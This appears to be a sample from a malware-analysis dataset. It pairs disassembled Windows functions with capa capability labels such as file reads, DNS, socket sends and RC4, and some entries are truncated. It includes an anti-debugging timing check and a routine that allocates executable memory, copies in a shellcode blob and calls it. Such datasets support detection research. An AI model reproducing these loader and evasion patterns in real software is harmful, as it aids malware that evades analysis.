joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402baf00
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov eax, 0xffffffff
cmp r8, rax
cmovae r8, rax
mov dword [rbp - 4], 0
xorps xmm0, xmm0
movaps xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], 0
lea rax, [rbp - 4]
mov qword [rbp - 0x18], rax
mov rcx, qword [rcx]
lea rax, [0x1402bafe0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
call qword [sym.imp.kernel32.dll_ReadFileEx]
test eax, eax
je 0x1402baf8f
mov rsi, qword [sym.imp.kernel32.dll_SleepEx]
nop dword [rax]
mov ecx, 0xffffffff
mov edx, 1
call rsi
cmp dword [rbp - 4], 1
jne 0x1402baf60
mov eax, dword [rbp]
mov esi, dword [rbp + 4]
mov rcx, rax
shl rcx, 0x20
or rcx, 2
test eax, eax
cmovne rsi, rcx
jne 0x1402bafa2
xor eax, eax
jmp 0x1402bafd2
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rcx, rsi
mov eax, ecx
and eax, 3
shr rcx, 0x20
cmp eax, 2
jne 0x1402bafc2
call case.0x1402c2dc3.201
xor ecx, ecx
cmp al, 0xb
setne al
cmove rsi, rcx
jmp 0x1402bafd2
cmp rcx, 0xb
setne al
xor edx, edx
cmp ecx, 0xb
cmove rsi, rdx
movzx eax, al
mov rdx, rsi
add rsp, 0x68
pop rsi
pop rbp
ret

Function at 0x1402bb470
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov rdi, rdx
cmp qword [rdx], 0
jne 0x1402bb564
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp r8, rdx
je 0x1402bb52a
sub r8, rdx
add rdx, qword [rbx + 8]
mov rax, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp r8, rcx
cmovae r8, rcx
mov dword [rbp - 0x28], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x28]
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x1402bb4e5
mov eax, dword [rbp - 0x28]
mov ecx, 2
test rax, rax
jne 0x1402bb4fc
jmp 0x1402bb509
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x1402bb509
cmp eax, 0x3e5
jne 0x1402bb51a
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
jmp 0x1402bb50d
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x1402bb50f
test r8, r8
mov ecx, 0x10
mov eax, 1
cmove rax, rcx
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rbx
mov rdx, r8
mov r8, rax
call fcn.1402e6700
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x1402bb4a1
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x28]
mov rcx, rdi
call fcn.1402e66b0
int3
Function at 0x1402c10a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x90
add byte [rax], al

Function at 0x1402c3ed0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rdi, r8
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov rbx, qword [rsi + 0x10]
xor r14d, r14d
mov eax, 0
cmp rbx, 3
jb 0x1402c3f3c
movzx r8d, byte [rbx + rcx - 2]
mov r9d, r8d
and r9b, 0xf0
xor r14d, r14d
cmp r9b, 0xa0
jne 0x1402c3f3c
xor r14d, r14d
cmp byte [rbx + rcx - 3], 0xed
jne 0x1402c3f3c
movzx r14d, byte [rbx + rcx - 1]
and r8d, 0xf
and r14d, 0x3f
shl r8d, 0x10
shl r14d, 0xa
or r14d, r8d
mov al, 1
cmp rdi, 3
jb 0x1402c3fe8
cmp byte [rdx], 0xed
jne 0x1402c3ff1
movzx r12d, byte [rdx + 1]
mov r8d, r12d
and r8b, 0xf0
cmp r8b, 0xb0
setne r8b
xor al, 1
or al, r8b
jne 0x1402c3ff1
movzx r13d, byte [rdx + 2]
cmp rbx, 3
jb 0x1402c3f81
add rbx, 0xfffffffffffffffd
mov qword [rsi + 0x10], rbx
and r13d, 0x3f
shl r12d, 6
lea r8, [rdi + 1]
mov rax, qword [rsi]
sub rax, rbx
cmp rax, r8
jb 0x1402c40db
add rdx, 3
mov r15, rdx
and r12d, 0x3c0
or r14d, r13d
or r14d, r12d
add r14d, 0x10000
mov rcx, rsi
mov edx, r14d
call fcn.1402b5750
add rdi, 0xfffffffffffffffd
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x1402c4100
mov rcx, qword [rsi + 8]
add rcx, rbx
mov rdx, r15
jmp 0x1402c408e
test rdi, rdi
je 0x1402c4080
lea rax, [rdx + rdi]
mov r9, rdx
jmp 0x1402c4018
add r9, 2
cmp r8, rax
cmovne r8, r9
nop word cs:[rax + rax]
mov r9, r8
cmp r8, rax
je 0x1402c4080
lea r8, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x1402c4010
cmp r10b, 0xe0
jb 0x1402c3ffa
cmp r10b, 0xed
jne 0x1402c404f
cmp r8, rax
je 0x1402c4080
lea r8, [r9 + 2]
cmp r8, rax
je 0x1402c4080
cmp byte [r9 + 1], 0x9f
ja 0x1402c407c
add r9, 3
mov r8, r9
jmp 0x1402c4010
add r9, 2
cmp r8, rax
cmove r9, r8
xor r8d, r8d
cmp r9, rax
setne r8b
add r8, r9
cmp r10b, 0xf0
jb 0x1402c4010
xor r9d, r9d
cmp r8, rax
setne r9b
add r8, r9
jmp 0x1402c4010
mov byte [rsi + 0x18], 0
mov rax, qword [rsi]
sub rax, rbx
cmp rax, rdi
jb 0x1402c40ae
add rcx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov r14, rdx
mov rdx, rbx
mov r8, rdi
call fcn.1402e6700
mov rdx, r14
mov rcx, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
jmp 0x1402c408b
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov r15, rdx
mov rdx, rbx
call fcn.1402e6700
mov rdx, r15
jmp 0x1402c3f9c
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.1402e6700
mov rbx, qword [rsi + 0x10]
jmp 0x1402c3fd9
Function at 0x1402c5080
Capabilities:
Resolve dns

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x208
lea rbp, [rsp + 0x80]
mov rax, rdx
mov rsi, rcx
mov rdx, qword [rdx]
mov rdi, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov word [rbp + 0x186], ax
mov eax, dword [0x14046c5f0]
cmp eax, 3
jne 0x1402c51af
lea rax, [rbp + 0x186]
mov qword [rbp + 0x170], rax
cmp rdi, 0x17f
ja 0x1402c51d5
lea rbx, [rbp - 0x60]
mov rcx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x60], 0
inc rdi
lea rcx, [rbp + 0x158]
mov rdx, rbx
mov r8, rdi
call fcn.1402ce850
test byte [rbp + 0x158], 1
je 0x1402c511e
lea rax, [0x1403cc018]
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1402c51a0
mov rcx, qword [rbp + 0x160]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x128], 1
mov qword [rbp + 0x178], 0
lea r8, [rbp + 0x120]
lea r9, [rbp + 0x178]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1402c5181
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x1402c5199
mov rax, qword [rbp + 0x178]
movzx ecx, word [rbp + 0x186]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov rax, rsi
add rsp, 0x208
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rbx, rdx
call fcn.1402e69f0
mov rdx, rbx
lea rax, [rbp + 0x186]
mov qword [rbp + 0x170], rax
cmp rdi, 0x17f
jbe 0x1402c50d5
lea r9, [rbp + 0x170]
mov rcx, rsi
mov r8, rdi
call fcn.1402e6a60
jmp 0x1402c51a0
Function at 0x1402c5320
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rax, rdx
mov rsi, rcx
xorps xmm0, xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
movaps xmmword [rbp - 0x60], xmm0
mov dword [rbp + 0x34], 0x80
lea rdx, [rbp - 0x60]
lea r8, [rbp + 0x34]
mov rcx, rax
call qword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x1402c53aa
mov eax, dword [rbp + 0x34]
movzx ecx, word [rbp - 0x60]
cmp ecx, 0x17
je 0x1402c53ba
cmp ecx, 2
jne 0x1402c53f8
cmp eax, 0xf
jbe 0x1402c5412
movzx eax, word [rbp - 0x5e]
rol ax, 8
mov ecx, dword [rbp - 0x5c]
mov word [rsi], 0
mov word [rsi + 6], ax
mov dword [rsi + 2], ecx
jmp 0x1402c5408
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
jmp 0x1402c53ff
cmp eax, 0x1b
jbe 0x1402c542a
movzx eax, word [rbp - 0x5e]
rol ax, 8
mov ecx, dword [rbp - 0x5c]
mov edx, dword [rbp - 0x48]
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rbp + 0x24], xmm0
mov word [rsi], 1
movups xmm0, xmmword [rbp + 0x22]
movups xmmword [rsi + 2], xmm0
movzx r8d, word [rbp + 0x32]
mov word [rsi + 0x12], r8w
mov dword [rsi + 0x14], ecx
mov dword [rsi + 0x18], edx
mov word [rsi + 0x1c], ax
jmp 0x1402c5408
lea rax, str.invalid_argument
mov qword [rsi + 8], rax
mov word [rsi], 2
add rsp, 0xb8
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in___std_src_sys_common_net.rs
lea r8, [0x1403cd948]
mov edx, 0x39
call fcn.1402e7d50
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
lea r8, [0x1403cd9a0]
mov edx, 0x3a
call fcn.1402e7d50
int3

Function at 0x1402c5540
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rsi
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov rax, r8
cmp r8, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, rax
test byte [r9], 1
je 0x1402c5583
movups xmm0, xmmword [r9 + 4]
mov eax, dword [r9 + 0x14]
mov r11d, dword [r9 + 0x18]
movzx r10d, word [r9 + 0x1c]
mov r9d, 0x1c
mov si, 0x17
jmp 0x1402c5599
mov eax, dword [r9 + 2]
movzx r10d, word [r9 + 6]
xorps xmm0, xmm0
mov r9d, 0x10
mov si, 2
rol r10w, 8
mov word [rbp - 0x14], si
mov word [rbp - 0x12], r10w
mov dword [rbp - 0x10], eax
movups xmmword [rbp - 0xc], xmm0
mov dword [rbp + 4], r11d
mov rcx, qword [rcx]
mov dword [rsp + 0x28], r9d
lea rax, [rbp - 0x14]
mov qword [rsp + 0x20], rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x1402c55d8
movsxd rdx, eax
xor eax, eax
jmp 0x1402c55ed
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0x58
pop rsi
pop rbp
ret
Function at 0x1402d88c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1402d890e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1402d890e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1402d890e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1402d890e
cmp dword [rcx + 0x84], 0xe
jbe 0x1402d890e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1402d8910
xor al, al
add rsp, 0x28
ret

Function at 0x1402e60f0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov qword [rbp - 8], 0xfffffffffffffffe
lea rcx, [0x1403c4a7d]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x1402e6153
mov rdi, rax
lea rdx, [0x1403c4a9e]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1402e6153
mov rsi, rax
lea rdx, [0x1403c4aac]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1402e6153
mov r14, rax
xor ebx, ebx
jmp 0x1402e61d9
lea rcx, [0x1403c4a38]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x1402e624a
mov rsi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1402e624a
mov rdi, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1402e624a
mov rbx, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1402e624a
mov rsi, rax
lea rcx, [rbp - 0x48]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rdi
test eax, eax
jne 0x1402e624a
mov r14, qword [rbp - 0x48]
movzx eax, byte [0x14046c4c1]
mov ecx, 0x18
mov edx, 8
call fcn.1400b33d0
test rax, rax
je 0x1402e627c
mov rdi, rax
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r14
xor eax, eax
lock cmpxchg qword [0x14046c518], rdi
je 0x1402e623c
mov rsi, rax
cmp qword [rdi], 0
je 0x1402e6226
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov edx, 0x18
mov r8d, 8
mov rcx, rdi
call fcn.1400b33e0
mov rdi, rsi
mov rax, rdi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rax, str.parking_lot_requires_either_NT_Keyed_Events__WinXP__or_WaitOnAddress_WakeByAddress__Win8_
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x38], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
lea rdx, str.0K__
lea rcx, [rbp - 0x48]
call fcn.1402e7cb0
mov qword [rbp - 0x10], r14
mov qword [rbp - 0x18], rbx
mov ecx, 8
mov edx, 0x18
call fcn.1402e7980
ud2
Function at 0x1402e6a60
Capabilities:
Resolve dns

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov r14, r9
mov rsi, rcx
lea rcx, [rbp - 0x28]
call fcn.1402cce70
mov rdx, qword [rbp - 0x28]
mov rax, rdx
neg rax
jno 0x1402e6ae2
mov rdi, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x58], 1
mov qword [rbp - 8], 0
lea r8, [rbp - 0x60]
lea r9, [rbp - 8]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1402e6b12
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x1402e6b26
lea rax, [0x1403cc018]
mov qword [rsi + 8], rax
mov qword [rsi], 1
jae 0x1402e6b46
mov rcx, qword [rbp - 0x20]
mov r8d, 1
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.1400b33e0
mov rcx, qword [r14]
mov rax, qword [rbp - 8]
movzx ecx, word [rcx]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov byte [rdi], 0
test rbx, rbx
je 0x1402e6b46
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.1400b33e0
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x1400010e9
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x14000110c
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0x12345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x140001137
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x140001130
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x140002531
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xac7e
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140002582
mov rbx, rax
call 0x140002565
nop
pop rsi
mov r9, rax
add rsi, 0x367a4
mov rcx, 0xac7e
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x14000257e
call r9
mov ecx, 1
ret

Function at 0x140004d90
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x2d0
mov rax, qword [0x1400375f8]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
xor r13d, r13d
mov rdi, rdx
mov esi, r13d
mov qword [rsp + 0x38], r13
mov r12d, r13d
call fcn.140009a60
mov r15, 0xffffffffffffffff
mov r14, rax
mov rbp, r15
nop dword [rax + rax]
inc rbp
cmp word [rax + rbp*2], si
jne 0x140004de0
lea rax, [rax + rbp*2]
nop dword [rax]

Function at 0x140009f8c
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140009e1f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009e1f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009e1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009e1f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009e1f
cmp dword [rcx + 0x84], 0xe
jbe 0x140009e1f
cmp dword [rcx + 0xf8], 0
je 0x140009e1f
mov ecx, ebx
call fcn.140009ec0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140009cb0
cmp dword [rbp + 0x20], 0
je 0x140009e6c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140009e74
int3
xor r8d, r8d
xor edx, edx
jmp 0x140009db8
Function at 0x14001bf38
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14001bf15
call fcn.140013aa8
mov dword [rax], 0x16
call fcn.1400180b4
or eax, 0xffffffff
jmp 0x14001bf32
sub dword [rcx + 0x10], 1
jns 0x14001bf24
add rsp, 0x28
jmp 0x140024e30
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14001bef4
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x140024e62
call fcn.140013aa8
mov dword [rax], 0x16
call fcn.1400180b4
jmp 0x140024f7f
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140024f7f
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140024f7f
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140024e91
lock or dword [rcx + 0x14], 0x10
jmp 0x140024f7f
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140024ea5
call fcn.140025bd4
mov rbx, qword [rdi + 8]
mov rcx, rdi
mov qword [rdi], rbx
call fcn.14001ab24
mov r8d, dword [rdi + 0x20]
mov ecx, eax
mov rdx, rbx
call fcn.1400274b4
mov dword [rdi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140024f6d
mov eax, dword [rdi + 0x14]
or esi, 0xffffffff
test al, 6
jne 0x140024f38
mov rcx, rdi
call fcn.14001ab24
cmp eax, esi
je 0x140024f23
mov rcx, rdi
call fcn.14001ab24
cmp eax, 0xfffffffe
je 0x140024f23
mov rcx, rdi
call fcn.14001ab24
movsxd rbx, eax
lea r14, [0x140039120]
mov rcx, rdi
sar rbx, 6
call fcn.14001ab24
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140024f2a
lea rdx, [0x1400378e0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140024f38
lock or dword [rdi + 0x14], 0x20
cmp dword [rdi + 0x20], 0x200
jne 0x140024f5c
mov eax, dword [rdi + 0x14]
shr eax, 6
test al, 1
je 0x140024f5c
mov eax, dword [rdi + 0x14]
shr eax, 8
test al, 1
jne 0x140024f5c
mov dword [rdi + 0x20], 0x1000
mov rax, qword [rdi]
add dword [rdi + 0x10], esi
movzx esi, byte [rax]
inc rax
mov qword [rdi], rax
jmp 0x140024f82
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rdi + 0x14], eax
and dword [rdi + 0x10], 0
or esi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, esi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140024f9c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x140024cc2
call fcn.140013aa8
mov dword [rax], 0x16
call fcn.1400180b4
jmp 0x140024e0d
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140024e0d
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140024e0d
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140024cf1
lock or dword [rcx + 0x14], 0x10
jmp 0x140024e0d
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140024d05
call fcn.140025bd4
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x140024d15
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x140024d18
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.14001ab24
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.1400274b4
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x140024dfb
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x140024da9
mov rcx, rbx
call fcn.14001ab24
cmp eax, 0xffffffff
je 0x140024d94
mov rcx, rbx
call fcn.14001ab24
cmp eax, 0xfffffffe
je 0x140024d94
mov rcx, rbx
call fcn.14001ab24
movsxd rdi, eax
lea r14, [0x140039120]
mov rcx, rbx
sar rdi, 6
call fcn.14001ab24
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x140024d9b
lea rdx, [0x1400378e0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140024da9
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x140024dcd
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x140024dcd
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x140024dcd
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x140024deb
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x140024df6
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x140024e12
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x140024c8c
Function at 0x140001050
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x88
xor eax, eax
mov r14, r8
mov rbx, rdx
mov qword [rsp + 0x50], rax
mov rdi, rcx
mov qword [rsp + 0x58], rax
mov r8d, 0x58
mov qword [rsp + 0x60], rax
lea rdx, str.1.3.1
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov ebp, eax
mov rsi, r9
call fcn.14000ab60
mov r15d, eax
test eax, eax
je 0x1400010d7
lea rdx, [rbx + 0x12]
mov r8d, eax
lea rcx, str.Failed_to_extract__s:_inflateInit___failed_with_return_code__d__n
call fcn.140002010
mov eax, 0xffffffff
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov ecx, 0x2000
mov qword [rsp + 0x80], r13
call fcn.14001492c
mov r13, rax
test rax, rax
jne 0x14000110d
lea r8, [rbx + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_temporary_input_buffer__n
lea rcx, str.malloc
call fcn.140001fd0
jmp 0x140001269
mov ecx, 0x2000
call fcn.14001492c
mov rbp, rax
test rax, rax
jne 0x14000113b
lea r8, [rbx + 0x12]
lea rdx, str.Failed_to_extract__s:_failed_to_allocate_temporary_output_buffer__n
lea rcx, str.malloc
call fcn.140001fd0
jmp 0x140001269
mov qword [rsp + 0xd0], r12
mov r15d, 0xffffffff
mov r12d, dword [rbx + 8]
nop dword [rax]
mov eax, 0x2000
mov rbx, r12
cmp r12, rax
mov r9, rdi
mov edx, 1
mov rcx, r13
cmova rbx, rax
mov r8, rbx
call fcn.14000f13c
cmp rax, rbx
jne 0x140001261
mov rcx, rdi
call fcn.14000eeb0
test eax, eax
jne 0x140001261
sub r12, rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r13
nop word [rax + rax]
mov ebx, 0x2000
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x38], ebx
lea rcx, [rsp + 0x20]
call fcn.140008fa0
mov edi, eax
mov r15d, 0xffffffff
lea ecx, [rax + 4]
cmp ecx, 2
